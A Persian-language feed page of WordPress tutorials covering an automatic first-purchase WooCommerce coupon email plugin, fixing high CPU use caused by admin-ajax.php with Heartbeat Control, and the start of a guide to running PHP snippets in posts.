Quantcast
Channel: آموزش سیستم مدیریت محتوا ها
Viewing all 383 articles
Browse latest View live

آموزش دادن تخفیف خودکار در ووکامرس بعد از اولین خرید

$
0
0

وقتی شروع به ساخت فروشگاه اینترنتی می‌کنید، یکی از راه‌های خوب برای فروش بیشتر دادن کدهای تخفیف به مناسبات مختلف هست تا به این وسیله بتونید فروش خودتونو افزایش بدین. این کار از دو جهت میتونه مفید باشه. یکی اینکه میتونید مشتریان فعلی رو حفظ کردن و رضایت مشتری رو بیشتر کنید، و از طرفی دیگه همین مشتریان با معرفی شما به دوستان و سایر افراد باعث جذب مشتریان جدید خواهند شد. حالا همین چرخه بیشتر و بیشتر شده و ادامه پیدا خواهد کرد. راه‌های مختلفی هم برای دادن تخفیف در فروشگاه‌های اینترنتی که با ووکامرس ساخته شده‌اند وجود دارند. اما یکی از راه‌های خوب برای دادن تخفیف این هست که با استفاده از افزونه تخفیف ووکامرس کاری کنید که هر مشتری وقتی برای اولین بار از سایت خریدی انجام میده، کد تخفیف از طریق ایمیل براش ارسال بشه و با استفاده از همین کد تخفیف قادر باشه یک خرید دیگه، اما این بار به صورت تخفیف خورده از سایت داشته باشه.

در این آموزش از پایگاه دانش میزبان‌فا قصد معرفی افزونه تخفیف خودکار در ووکامرس را دارم که با استفاده از این افزونه به محض اینکه مشتری خرید اول خودش رو از سایت انجام میده ایمیلی براش ارسال میشه و در قالب این ایمیل میتونه کد تخفیفی را با درصدی که مشخص کردید دریافت بکنه و به واسطه همین کد تخفیف خودش را برای خریدی دیگه آماده بکنه. پس اگر شما هم به دنبال ایجاد راهی برای دادن تخفیف خودکار در ووکامرس بعد از اولین خرید هستید، تا انتهای این آموزش با ما همراه باشید.

تخفیف خودکار بعد از اولین خرید با افزونه کد تخفیف ووکامرس

افزونه‌ای که برای ارائه کد تخفیف بعد از اولین خرید در ووکامرس قصد معرفی اونو دارم با نام YITH WooCommerce Coupon Email System در مخزن وردپرس به ثبت رسیده و تاکنون موفق شده بیش از 700 نصب فعال رو ازآن خودش بکنه که با استفاده کردن از این افزونه میتونید یک قالب ایمیل در وردپرس طراحی کنید. سپس با استفاده از شورت کدهایی که افزونه کد تخفیف ووکامرس در اختیارتون قرار میده، متن دلخواه و سایر جزییات برای کد تخفیف در ووکامرس را وارد کنید. حالا از این پس هر مشتری که برای اولین بار خریدی در سایت انجام بده، ایمیلی که حاوی کد تخفیف هست براش ارسال شده و مشتری شما میتونه در خرید بعدی از این کد تخفیف استفاده بکنه. این افزونه و کاری که برای دادن تخفیف خودکار در ووکامرس انجام میدید، مزایای زیر را در پی خواهد داشت.

  • باعث افزایش فروش در سایت خواهد شد.
  • مشتری را برای خرید دیگری از سایت ترغیب خواهد کرد که همین مسئله باعث حفظ مشتریان فعلی و جذب مشتری جدید می‌شود.
  • نیازی به دادن کد تخفیف از راه‌هایی مثل ارسال ایمیل عمومی یا استفاده از شبکه‌های اجتماعی ندارید، برای همین مستقیما با مشتری در تعامل مستقیم هستید.
  • ایمیلی که برای تخفیف ارسال می‌شود کاملا خودکار است.
  • امکان شخصی سازی محتوای ایمیل و زیبا سازی آن با استفاده از طراحی HTML فراهم است.
  • و…

حالا برای استفاده از این افزونه ابتدا روی دکمه زیر کلیک کنید تا به صفحه افزونه در مخزن وردپرس هدایت شوید. سپس با استفاده از راهنمای نصب افزونه در وردپرس اقدام به نصب و فعال سازی افزونه در سایت وردپرسی خودتون بکنید.

دانلود افزونه YITH WooCommerce Coupon Email System

بعد از نصب و فعال سازی این افزونه منویی با نام YITH plugins در پیشخوان وردپرس سایت شما اضافه میشه که متعلق به گروه سازنده این افزونه هست و ممکنه از قبل افزونه دیگه‌ای هم در وردپرس از این تیم داشته باشید. بنابراین برای دسترسی به تنظیمات این افزونه باید به زیر منوی Coupon Email System که در این منو قرار داره مراجعه کنید و تنظیمات افزونه را مشابه تصویر زیر شخصی سازی کنید.

تخفیف خودکار بعد از اولین خرید در ووکامرس با افزونه کد تخفیف ووکامرس

همونطور که میبینید تو باکس هشدار پیغامی نشون داده میشه که اصلا باید نگران این قضیه نباشید، هیچ دلیلی برای دستپاچگی ندارید 😀 توی این پیغام گفته شده که این افزونه نیاز به استفاده از یکی از کدهای تخفیف ووکامرس داره، در حالی که شما هنوز کد تخفیفی در فروشگاه ووکامرس خودتون ندارید. بنابراین بعد از اینکه اولین کد تخفیف رو بسازید این پیغام دیگه نمایش داده نخواهد شد.

Enable YITH WooCommerce Coupon Email System: برای اینکه امکان استفاده از این افزونه برای ارسال کد تخفیف بعد از اولین خرید در ووکامرس فراهم باشه تیک این گزینه را فعال کنید. هر زمان هم که تیک این گزینه رو غیرفعال کنید کارکرد افزونه متوقف شده و ایمیلی برای مشتریان بعد از اولین خرید ارسال نخواهد شد.

Email type: از این بخش هم میتونید نوع فرم ایمیلی که قصد دارید ارسال کنید را انتخاب کنید. در حال حاضر دو نوع فرمت HTML و Plain text وجود داره که در حالت HTML قادر به طراحی فرم با این زبان هستید و در حالت Plain text صرفا متن به صورت عادی ارسال خواهد شد.

بعد از اینکه تکلیف این دو گزینه رو مشخص کردید به منوی ووکامرس> کدهای تخفیف رفته و سپس با استفاده از مقاله آموزش کار با کوپن تخفیف در ووکامرس که مفصلا در مورد نحوه ساخت کد تخفیف در ووکامرس توضیح داده شده اولین تخفیف خودتون رو ایجاد کنید. در اینجا هم به صورت خلاصه این بخش رو توضیح خواهم داد.

تخفیف خودکار بعد از اولین خرید در ووکامرس با افزونه کد تخفیف ووکامرس

نحوه تخفیف: در این بخش میتونید مشخص کنید تخفیفی که قصد ارائه اونو دارید به چه شکلی اعمال بشه، این تخفیف میتونه به صورت های زیر باشه که باید یکی از این گزینه‌ها را انتخاب کنید:

  1. تخفیف درصدی: در صورتی که این گزینه را انتخاب کنید قادر هستید تا تخفیف را به صورت درصدی بر روی سبد خرید مشتری اعمال کنید. یعنی اگر مشتری بیاد و چندین محصول به صورت همزمان ارائه بکنه این کد تخفیف در ووکامرس بر روی همه محصولات اعمال شده و از قیمت تک‌تک محصولاتی که در سبد خرید وجود داره کاسته خواهد شد.
  2. تخفیف ثابت سبد خرید: با انتخاب این گزینه میتونید کد تخفیف ووکامرس را به گونه‌ای تعریف کنید که مبلغ ثابتی در انتها از سبد خرید مشتری کاسته بشه، به عنوان نمونه میتونید مبلغ 100.000 تومان را وارد کنید تا سبد خرید مشتری در هنگام خرید به هر میزانی که بود بعد از اعمال کد تخفیف از هزینه کلی محصولات در سبد خرید این مبلغ به عنوان تخفیف در ووکامرس کاسته شود.
  3. تخفیف ثابت محصول: و در نهایت در صورت انتخاب این گزینه تخفیف با مبلغ ثابه فقط بر روی یک محصول اعمال خواهد شد. این گزینه درست مثل گزینه دوم هست با این تفاوت که فقط روی محصول قابل استفاده خواهد بود و در سبد خرید اعمال نخواهد شد.

میزان تخفیف: حالا بعد از اینکه نوع تخفیف را مشخص کردید باید تعیین کنید که اگر تخفیف شما به صورت درصدی هست چند درصد تخفیف روی محصول بخوره و اگر هم که به صورت مبلغ ثابت هست مبلغ را بر اساس تنظیمات واحد پولی ووکامرس که در تنظیمات ووکامرس انتخاب کنید.

اجازه حمل و نقل رایگان: این گزینه این امکان را به شما میده تا علاوه بر تخفیفی که به مشتری میدین ارسال محصول هم به صورت رایگان انجام بگیره و بابت ارسال محصول هزینه‌ای از وی دریافت نشود. با فعال ردن این گزینه جزییات ارسال رایگان هم برای مشتری نمایش داده خواهد شد.

تاریخ انقضای کوپن: و در نهایت از این بخش هم میتونید تاریخ انقضای کوپن تخفیف ووکامرس را معین کنید. در صورتی که تاریخ انقضا مشخص کنید تا پایان شب تاریخ مشخص شده کد تخفیف قابل استفاده خواهد بود، اما همین که کد تخفیف منقضی بشه و مشتری اونو هنگام خرید وارد بکنه دیگه قادر به خرید محصول با تخفیف اعمال شده نخواهد بود و باید با قیمت اصلی محصول را خریداری بکنه.

حالا بعد از اینکه تخفیف ساخته شد، به منوی Coupon Email System که در با نصب افزونه YITH WooCommerce Coupon Email System به پیشخوان وردپرس اضافه شد برگردید. همونطور که میبینید پیغام خطایی که به خاطر نبودن کد تخفیف نمایش داده میشد مخفی شده و علاوه بر این هم بخش On first purchase در تنظیمات افزونه که به صورت غیرفعال شده نشون داده میشد، حالا فعال هست و میتونید جزییات تخفیف خودکار بعد از اولین خرید در ووکامرس رو انتخاب کنید.

تخفیف خودکار بعد از اولین خرید در ووکامرس با افزونه کد تخفیف ووکامرس

Enable coupon sending: با فعال کردن تیک این گزینه بعد از اینکه هر مشتری اولین خریدشو انجام میده ایمیل ارسال کد تخفیف به صورت خودکار براش ارسال خواهد شد. هر زمان که نیازی به عدم ارائه کد تخفیف به صورت موقت داشتید، کافیه تیک این گزینه را بردارید و تنظیمات رو ذخیره کنید.

Email subject: با استفاده از این فیلد میتونید عنوان ایمیل ارسالی رو انتخاب کنید. در اینجا میتونید از شورت کدهایی که افزونه برای نمایش نام مشتری، نام خانوادگی، تاریخ خرید و… ارائه میده استفاده کنید که در ادامه هر شورت کد رو هم قرار خواهم داد.

Email content: تو این فیلد هم میتونید محتوای ایمیل ارسالی را با ترکیبی از شورت کدها انتخاب کرده و وارد کنید تا در متن ایمیل ارسال کد تخفیف ووکامرس نمایش داده بشه.

Test email: با وارد کردن ایمیل خودتون در این گزینه و کلیک روی دکمه SEND TEST EMAIL هم میتونید یک ایمیل به صورت تستی برای خودتون بفرستید که ببینید محتوای ایمیل ارسالی، عنوان ایمیل، توضیحات کد تخفیف ووکامرس و… به درستی ارسال میشن یا خیر. در نهایت بعد از ذخیره کردن تنظیمات این سیستم آماده است و میتونید به راحتی کاری کنید که هر زمان یک مشتری اولین خرید رو انجام داد، برای خرید بعدی قادر به استفاده از کد تخفیفی که براش ایمیل میشه داشته باشه.

  • {coupon_description}: برای نمایش جزییات کد تخفیف در ووکامرس
  • {site_title}: نمایش عنوان سایت یا عنوان فروشگاه ووکامرس
  • {customer_name}: نمایش نام مشتری
  • {customer_last_name}: نمایش نام خانوادگی مشتری
  • {customer_email}: نمایش ایمیل مشتری
  • {order_date}: نمایش تاریخ خرید

با استفاده از شورت کدهای بالا هم میتونید اطلاعاتی که این شورت کدها در اختیارتون قرار میده را در عنوان و متن ایمیل ارسالی برای مشتری ارسال کنید.

امیدوارم این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از این آموزش تونسته باشید امکان دادن تخفیف خودکار بعد از اولین خرید در ووکامرس به مشتریان جدید رو با افزونه کد تخفیف ووکامرس فراهم کنید. در صورتی که در رابطه با این آموزش و نحوه کار با افزونه تخفیف خودکار بعد از اولین خرید در ووکامرس سوال یا مشکلی داشتید در بخش دیدگاه‌ها اعلام کنید تا در کوتاه‌ترین زمان ممکن پاسخگوی شما باشم.

نوشته آموزش دادن تخفیف خودکار در ووکامرس بعد از اولین خرید اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.


آموزش رفع مشکل مصرف بالای CPU هاست در وردپرس

$
0
0

یکی از مشکلاتی که بیشتر در سایت‌های وردپرسی به وجود میاد و باعث بالا رفتن مصرف بیش از حد CPU هاست در وردپرس میشه توسط فایل admin-ajax.php وردپرس هست. در صورتی که مدت زیادی هست از وردپرس استفاده می‌کنید و احتمالا هم از ابزار تست سرعت در وردپرس استفاده کردید حتما با این خطا مواجه شدید. یا حتی ممکنه از طرف شرکت میزبانی وب که ازش هاست خریداری کردین، اخطاری مبنی بر مصرف بالای CPU در وردپرس دریافت کرده باشید. دلیل به وجود اومدن خطای مصرف بالای CPU در وردپرس توسط فایل admin-ajax.php بیشتر از سمت افزونه‌های شخص ثالث یا درخواست‌هایی مثل ذخیره خودکار پیش نویس در وردپرس که به صورت مرتب در پیشخوان وردپرس انجام میگیره به وجود میاد. پس مهمه که به این خطاها توجه کنید و هر زمان که با خطای مصرف بالای منابع CPU در هاست توسط وردپرس مواجه شدید و دیدید که این خطا از سمت فایل admin-ajax هست اونو برطرف کنید.

در این آموزش از پایگاه دانش میزبان‌فا قصد دارم به معرفی راهکارهای مختلفی که برای حل مشکل مصرف بالای CPU در وردپرس توسط فایل admin-ajax.php قرار داره بپردازم که با استفاده از این راهکارها میتونید به راحتی مشکل مصرف بالای cpu را در وردپرس برطرف کنید. پیش از این هم در مقاله دیگه‌ای تحت عنوان آموزش رفع مشکل استفاده زیاد از منابع CPU در وردپرس به راه‌های مختلفی برای رفع مشکل مصرف بالای منابع در هاست پرداختم.

رفع مشکل مصرف بالای CPU در وردپرس توسط فایل admin-ajax

حالا ممکنه این سوال براتون پیش بیاد که اصلا فایل admin-ajax.php چیست؟ فایل admin-ajax.php وردپرس یکی از فایل‌های هسته وردپرس هست که از نسخه 3.6 وردپرس به اون اضافه شده. هدف این فایل ایجاد ارتباط بین مرورگر و سرور هست که با استفاده از ajax این ارتباط برقرار می‌شود. این ارتباط کاری که انجام میده اینه که قابلیت‌های پیشرفته مثل بهبود ذخیره سازی خودکار کارها در وردپرس، ردیابی رونوشت‌ها، زمان تایم اوت ورود به وردپرس، مدیریت نشست‌ها در وردپرس و اطلاعیه‌های یک نوشته مثل زمانی که نوشته قفل شده و توسط فرد دیگر در حال ویرایش هست را به شما خواهد داد. هر کدوم از این ویژگی های ذکر شده برای سایت‌هایی که چندین کاربر در اون فعالیت دارند به امری ضروری تبدیل شده است. به عنوان نمونه اگر همین حالت نمایش کاربران هنگام ویرایش یک نوشته نباشه ممکنه همزمان دو مدیر در حال ویرایش و تغییر روی یک نوشته باشند که باعث ایجاد مشکل در محتوای سایت و محصولات در وردپرس بشه.

ایده انجام این کار به این شکل هست که از هر 15 ثانیه درخواست‌های XHR به سرور ارسال میشن و در نهایت با فرستان پاسخ‌ها به صورت callbacks نتیجه نمایش داده میشه. سپس سایر اجرا با هماهنگ سازی که بینشون ایجاد میشه در مورد فعالیت‌های دیگر کاربران از این طریق اطلاع داده میشه. در نهایت همونطور که در بالا هم اشاره شد این کار باعث میشه تا ضمن اطلاع از اینکه یک کاربر در حال تغییر دادن یک نوشته، ابزارک و… هست قفل گذاری روی اون انجام بگیره و باعث نشه همزمان دو کاربر در حال ایجاد تغییرات باشند.

با این اوصاف حتما فکر می‌کنید که این یک کار ساده است، اما چرا در ابزارهای تست سرعت در وردپرس که انجام میدین با خطاهایی مواجه میشید؟

رفع مشکل مصرف بالای CPU در وردپرس توسط فایل admin-ajax.php

همونطور که در تصویر بالا می‌بینید در ابزار تست سرعت سایت مثل pingdom معمولا دو نتیجه از این سناریو دریافت خواهیم کرد. یکی در بخش جلویی و دیگری در front-end و دیگری در back-end که مربوط به بخش مدیریت و کاربری سایت هستند.


1. مصرف بالای CPU توسط admin-ajax بخاطر افزونه‌ها

اولین و رایج ترین خطا که باعث به وجود اومدن خطای مصرف بالای CPU در وردپرس بخاطر فایل admin-ajax میشه از سمت افزونه‌های شخص ثالث نشات میگیره. این موضوع بیشتر در front-end وردپرس رخ میده که مربوط به همون بخش کاربری سایت هست و در تست سرعت سایت هم میبینیمش. دلیل به وجود اومدن خطا از سمت افزونه‌ها هم بیشتر به این خاطر هست که توسعه دهنده‌های وردپرس از قابلیت ajax یا توسط همین فایل برای افزونه‌های خودشون استفاده می‌کنند تا قابلیت‌هایی رو به کاربران ارائه کنند. اما فقط به این دلیل که شما یک درخواست رو برای admin-ajax.php می‌بینید لزوما به این معنی نیست که سایت شما بخاطر این موضوع کند شده است. بعد از اینکه صفحات لود شدند قابلیت Ajax وردپرس شروع به کار میکنه و درخواست های خاصی رو به صورت ناهماهنگ اجرا و دریافت میکنه. پس اگر به درستی از این قابلیت توسط توسعه دهنده‌های وردپرس استفاده نشه باعث به وجود اومدن کندی در وردپرس میشه که نتیجه اون بالا رفتن مصرف منابع CPU خواهد بود.

در تصویر زیر نمونه‌ای از تشخیص مشکل admin-ajax رو مشاهده می‌کنید که توسط سایت Gtmetrix بررسی شده، بخاطر اینکه بررسی با این سایت اجازه میده که داده‌های حقیقی و واقعی رو به صورت واکنشگرا به دست بیاریم. در صورتی که استفاده از pingdom این قابلیت رو به ما نخواهد داد. پس اگر شما هم قصد تست و بررسی مشکل admin-ajax.php در وردپرس رو دارید بهتره از سایت gtmetrix برای این کار استفاده کنید. البته محدود به این دو سایت هم نیستید و میتونید از Google Chrome Devtools یا WebPageTest هم استفاده کنید.

رفع مشکل مصرف بالای CPU در وردپرس توسط فایل admin-ajax.php

در اینجا نمونه تستی انجام گرفته که دلیل اون بخاطر استفاده از افزونه ویژوال کامپوزر هست و باعث به وجود اومدن خطای admin-ajax.php در وردپرس شده و همونطور که میبینید بر اساس گزارش Gtmetrix بیشتر از 8 ثانیه در لود این فایل طول میکشه که این زمان برای لود خیلی زیاد هست و باعث کند شدن سایت خواهد شد.

در اینجا اگر شما روی درخواست POST admin-ajax.php کلیک کنید، میتونید سه زبانه مختلف را مشاهده کنید که شامل Headers، Post، و Response هستند. برای این سایت، ما میتونیم سرنخ مشکل را در برگه Response بدست بیاریم. با بررسی بخشی از این درخواست توسط “vc_shortcodes-custom-css” شروع می‌کنیم.

رفع مشکل مصرف بالای CPU در وردپرس توسط فایل admin-ajax.php

با انجام یک جستجوی ساده از این خطا میتونیم بفهمیم که این مشکل مربوط به افزونه ویژوال کامپوزر هست و از اون نشات میگره. این شاخص‌ها چقدر گوگل رو شگفت زده می‌کنند. 😀

رفع مشکل مصرف بالای CPU در وردپرس توسط فایل admin-ajax.php

حالا که مشخص شد مشکل از کدوم افزونه است در مرحله اول باید بررسی کنید و ببینید که این افزونه به آخرین نسخه آپدیت شده یا خیر؟ در صورتی که افزونه آپدیت نباشه به احتمال زیاد با آپدیت و بروزرسانی افزونه در وردپرس مشکل برطرف خواهد شد. اما در صورتی که افزونه آپدیت بود یا اینکه بعد از آپدیت هنوز هم مشکل پا برجا بود بهتره که با ارسال گزارش به سازنده موضوع رو به اطلاعشون برسونید تا با بررسی و رفع مشکل افزونه را آپدیت کنند.

رفع مشکل admin-ajax.php بخاطر افزونه هشدار وردپرس

مورد بعدی که بیشتر باعث به وجود اومدن خطای admin-ajax در وردپرس میشه مربوط به افزونه‌های ارسال هشدار در وردپرس هست. همونطور که در تصویر زیر میبینید با یک جهش نسبتا بزرگ در admin-ajax وردپرس روبه رو هستیم که در هنگام تست توسط سایت GTmetrix با اون مواجه شدیم.

رفع مشکل مصرف بالای CPU در وردپرس توسط فایل admin-ajax.php

همونطور که در نمونه قبلی هم انجام دادیم در اینجا هم اگر روی درخواست POST admin-ajax.php کلیک کنید خواهید دید که داده های پست “action = mtsnb_add_impression & bar_id = 88 & ab_variation = none” نمایش داده خواهند شد.

رفع مشکل مصرف بالای CPU در وردپرس توسط فایل admin-ajax.php

این بار هم با یک جستجوی سریع در گوگل انجام میدیم و نتیجه اول که در نتایج جستجو نمایش داده میشه در واقع افزونه نوار اطلاع رسانی در وردپرس هست که در این سایت استفاده شده است.

رفع مشکل مصرف بالای CPU در وردپرس توسط فایل admin-ajax.php

پس همونطور که میبینید راه‌های خوبی برای فهمیدن اینکه مشکل admin-ajax.php وردپرس بخاطر چی هست وجود داره که در اینجا ما به استفاده از سایت GTmetrix و جستجوی خطا در گوگل بسنده کردیم. اگر شما یک توسعه دهنده هستید میتونید از راه‌های دیگه هم استفاده کنید.

راه مطمئن برای تعیین منبع مشکل admin-ajax.php در وردپرس

یک راه ساده و پیش پا افتاده هم وجود داره که معمولا برای یافتن خطا در وردپرس از این روش زیاد استفاده کردیم. در این روش کافیه در هر بار یکی از افزونه‌ها را غیرفعال کرده و تست سرعت روی سایتتون رو انجام بدین، در نهایت بعد از غیرفعال کردن افزونه‌ها در جایی با غیرفعال کردن یکی از افزونه‌ها میبینید که خطا برطرف میشه و مشخص میشه که مشکل از این افزونه هست. این خطا معمولا به خوبی جواب میده و در 99 درصد تست‌هایی که با این روش صورت گرفته به نتیجه خواهید رسید. البته میتونید این کار رو به صورت برعکس هم انجام بدین. یعنی همه افزونه‌ها رو غیرفعال کنید و این بار یکی یکی هر افزونه را فعال کرده و در هر بار فعال سازی افزونه یک بار تست سرعت هم انجام بدین، اگر دیدین که خطای admin-ajax با فعال کردن یکی از افزونه‌ها صورت گرفت مشخص خواهد شد که مشکل از اینجاست.


2. مصرف بالای CPU در پیشخوان وردپرس توسط admin-ajax.php

دومین مسئله‌ای که باعث به وجود اومدن این مشکل میشه زمانی هست که Heartbeat API وردپرس برای اینکه بتونه با استفاده از Ajax توسط مرورگر داده‌هایی رو ارسال و دریافت بکنه با این خطا مواجه شده و باعث به وجود اومدن مصرف بیش از حد CPU در پیشخوان وردپرس خواهد شد. هر درخواست آجاکس که در این حالت در وردپرس بارگذاری میشه در حالتی هست که همه داده‌ها به صورت کش شده هم هستند. معمولا این نوع خطاها را در تست سرعت بخاطر اینکه در پیشخوان وردپرس به وجود میاد نمیبینید. این مشکل بیشتر در هاست‌های اشتراکی که چندین وبسایت روی یک سرور قرار دارند به وجود میاد. پیشنهادی که برای کاهش این نوع خطا در پیشخوان وردپرس دارم این هست که:

  • از باز کردن چندین صفحه پیشخوان وردپرس در تب‌های مرورگر دوری کنید. چرا که این کار باعث میشه هر صفحه از سایت که در یک تب باز شده مدام مشغول دریافت اطلاعات آجاکس در وردپرس بشه که ضمن بالا بردن مصرف منابع هاست، باعث کند شدن مرورگر و سیستم شما هم خواهد شد.
  • همچنین سعی کنید قابلیت ذخیره خودکار در وردپرس رو مدیریت کرده و بازه زمانی که یک نوشته به صورت خودکار در حالت پیش نویس ذخیره میشه را بیشتر کنید. برای این منظور میتونید از مقاله نحوه غیرفعال کردن بروزرسانی خودکار در وردپرس استفاده کنید.

همونطور که در بالا هم اشاره شد وردپرس برای بررسی درخواست‌ها به صورت آجاکس در هر 15 ثانیه از طریق مرورگر درخواستی رو به سرور ارسال میکنه، حالا اگر تغییراتی اعمال شده باشه پاسخ ارسال میشه. این حالت رو اگر زمانی در نظر بگیرید که چندین تب باز کردید و یا اینکه تب ها همگی مربوط به صفحه ویرایش نوشته هستند، باعث به وجود اومدن فاجعه در وردپرس خواهد شد. حالا این فاجعه زمانی بدتر خواهد شد که در یک سایت بزرگ و  پربازدید که چندین نویسنده در اون فعالیت دارند همزمان در حال نوشتن و تولید محتوا باشند. در این صورت به نظر شما چه اتفاقی خواهد افتاد؟ مشخص است که این درخواست‌ها همینطور در حال تکثیر شدن و بیشتر شدن خواهند بود. طق یک بررسی که روی سایت DARTDrones انجام گرفته در حالتی که در مدت 24 ساعت از یک روز که فقط 2.000 بازدیدکننده یکتا در این سایت بود هنگام کار با سایت بیش از 4.100 درخواست ارسال و دریافت شده بود. این میزان اصلا بهینه نیست.

رفع مشکل مصرف بالای CPU در وردپرس توسط فایل admin-ajax.php

برای اینکه این درخواست‌ها رو کمتر کنید میتونید از روش‌هایی مثل غیرفعال کردن رونوشت خودکار در وردپرس، افزایش زمان ذخیره خودکار نوشته به عنوان پیش نویس و… استفاده کنید. همچنین یک راه ساده هم برای این کار وجود داره که با استفاده از افزونه میتونید این کار را انجام بدین.

افزونه کاهش تعداد درخواست‌های admin-ajax در وردپرس

افزونه‌ای که برای کاهش میزان درخواست‌های admin-ajax در وردپرس قصد دارم معرفی کنم با عنوان Heartbeat Control در مخزن وردپرس به ثبت رسیده و تاکنون هم موفق شده بیش از 80.000 نصب فعال و کسب امتیاز 4.6 را ازآن خودش بکنه که با استفاده کردن از این افزونه میتونید اقدام به مدیریت درخواست‌ها و وظایفی در وردپرس که باعث کاهش کارهای admin-ajax در وردپرس خواهد شد بکنید. برای استفاده از این افزونه ابتدا روی دکمه زیر کلیک کنید تا به صفحه افزونه در مخزن وردپرس هدایت بشید و سپس با استفاده از راهنمای نصب افزونه در وردپرس اقدام به نصب و فعال سازی افزونه بکنید.

دانلود افزونه Heartbeat Control

بعد از نصب و فعال سازی این افزونه مشابه تصویر زیر منویی با نام Heartbeat در بخش تنظیمات وردپرس اضافه میشه که با مراجعه به این منو میتونید درخواست‌ها را به صورت زیر مدیریت کنید.

رفع مشکل مصرف بالای CPU در وردپرس توسط فایل admin-ajax.php

control heartbeat locations: این گزینه را روی حالت Allow only on post edit pages قرار بدین تا این کار صرفا در صفحه ویرایش نوشته و برگه که بیشتر مورد استفاده قرار میگیره انجام بشه.

رفع مشکل مصرف بالای CPU در وردپرس توسط فایل admin-ajax.php

override heartbeat frequency: این گزینه را هم پیشنهاد می‌کنم روی حالت 60 ثانیه قرار بدین تا درخواست‌های API ارسالی از هر 60 ثانیه انجام بگیرند. دقت کرده باشید در قسمت اول مقاله گفتم که درخواست‌ها در حالت عادی از هر 15 ثانیه بررسی می‌شوند که با افزایش اون به 60 ثانیه میتونید مدت زمان رو بیشتر کرده و مصرف CPU که توسط admin-ajax.php زیاد شده رو مدیریت کرده و کاهش بدین.

رفع مشکل مصرف بالای CPU در وردپرس توسط فایل admin-ajax.php

در صورتی که از نسخه تجاری و پولی این افزونه هم استفاده کنید میتونید از قابلیت هایی مثل غیرفعال کردن لینک‌های RSD در وردپرس، حذف لینک‌های کوتاه، غیرفعال کردن فید وردپرس، حذف لینک‌های فید وردپرس، غیرفعال کردن پینگ بک در وردپرس و… استفاده کنید که در تصویر بالا قابل مشاهده هستند.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از اون تونسته باشید که خطای مصرف cpu در وردپرس به دلیل فایل admin-ajax.php رو در وردپرس برطرف کنید. در صورتی که در رابطه با این آموزش سوال یا مشکلی داشتید میتونید در بخش دیدگاه‌ها مطرح کنید تا در کوتاه‌ترین زمان ممکن پاسخگوی شما باشم.

نوشته آموزش رفع مشکل مصرف بالای CPU هاست در وردپرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

آموزش اجرای کدهای php در مطالب وردپرس

$
0
0

وقتی در حال کار با وردپرس هستید استفاده از کدهای سفارشی و افزودن قابلیت‌های دلخواه در وردپرس چیزی هست که به سادگی نمیشه از کنار این مسئله عبور کرد. وردپرس به صورت پیش فرض امکانات و قابلیت‌هایی در اختیار ما قرار میده، اما این امکانات قطعا طوری نیستند که نیاز همه ما را برآورده کنند. بنابراین نیاز به این پیدا میکنیم تا با استفاده از افزونه و کدنویسی در وردپرس قابلیت‌های دلخواه رو بهش اضافه کنیم. گاهی اوقات پیش میاد که این قابلیت‌ها حالتی دارند که در یک نوشته یا برگه فقط ممکنه بهشون نیاز داشته باشیم. به عنوان مقال بخوایم با قرار دادن کد php در پست وردپرس یک سری توابع وردپرس که از پیش برای انجام کاری در نوشته تعریف کردیم را اجرا کنیم.

در این آموزش از پایگاه دانش میزبان‌فا قصد دارم به معرفی افزونه‌ای برای اجرای کدهای php در وردپرس بپردازم که با استفاده از این افزونه نیازی به استفاده از کدها در فایل فانکشن قالب ندارید و به راحتی میتونید از قابلیت‌هایی مثل درون ریزی کدهای php در وردپرس با استفاده از فایل، تعیین محل اجرای کدها، قرار دادن توضیحات برای کدها و… استفاده کنید. پس اگر شما هم به دنبال قرار دادن کد php در پست وردپرس یا قرار دادن کد php در برگه وردپرس هستید تا انتهای این مقاله همراه ما باشید.

آموزش قرار دادن کد php در پست وردپرس

افزونه‌ای که برای اجرای کدهای php در وردپرس قصد دارم معرفی کنم با عنوان PHP code snippets در مخزن وردپرس ثبت شده و تا به امروز موفق شده بیش از 100.000 نصب فعال و کسب امتیاز 4.3 را ازآن خودش بکنه که با استفاده از این افزونه میتونید اقدام به قرار دادن کد php در پست وردپرس کرده و در هر جایی از وردپرس مثل نوشته‌ها، برگه‌ها، محصولات و… که قصد دارید این کدهای دلخواه رو اجرا کنید. هر زمان هم که نیازی به اجرای کدها نداشتید کافیه روی گزینه غیرفعال کردن اجرا کلیک کنید. برای استفاده از این افزونه کافیه روی دکمه زیر کلیک کنید و سپس با استفاده از راهنمای نصب افزونه در وردپرس اقدام به نصب و فعال سازی افزونه بکنید.

دانلود افزونه PHP code snippets

بعد از نصب و فعال سازی افزونه مشابه تصویر زیر منویی با نام php snippets در پیشخوان وردپرس اضافه خواهد شد. روی زیر منوی Add snippets کلیک کنید تا به صفحه افزودن کد php در وردپرس هدایت بشید.

آموزش قرار دادن کد php در پست وردپرس | اجرای کدهای php در وردپرس

حالا همونطور که در تصویر میبینید ابتدا یک عنوان برای کد php خودتون در نظر بگیرید. این عنوان برای اینه که بتونید کدهایی که در وردپرس قرار میدین رو از هم تفکیک کنید.

Enter the code for your snippet: در این باکس کد php مد نظرتون رو که قصد اجرا دارید رو اضافه کنید. در اینجا من میخوام کد ریدایرکت تصاویر به نوشته رو در وردپرس اجرا کنم که در مقاله آموزش ریدایرکت صفحات رسانه وردپرس به پست اصلی به معرفی این قابلیت پرداختم.

Where to execute the code: از اینجا انتخاب کنید که قصد دارید این قطعه کد در کجا اجرا بشه. در صورت انتخاب گزینه Run Everywhere کد استفاده شده در هر جایی از وردپرس قابل اجرا است. اما در صورت انتخاب گزینه where there is a shortcode این کد در هر جایی که با استفاده از شورت کد ازش استفاده کنید فراخوانی شده و اجرا خواهد شد. به عنوان مثال اگر شورت کد رو داخل نوشته وردپرس قرار بدین فقط در یک نوشته خاص اجرا خواهد شد. یا اینکه اگه داخل یک ابزارک قرار بدین، کد php که در این بخش اضافه کردید فقط در اون ابزارک اجرا خواهد شد.

Description: تو این بخش هم میتونید توضیحاتی از کدهای php که اضافه کردید وارد کنید که هر زمان قصد استفاده از کدها رو در هر جایی از سایت داشتید با استفاده از نام و توضیحات بدونید که این کد php مربوط به چی هست و قراره چه کاری براتون انجام بده.

Tags: از این بخش هم میتونید برچسب‌هایی را برای هر کدی که اضافه می‌کنید انتخاب کنید.

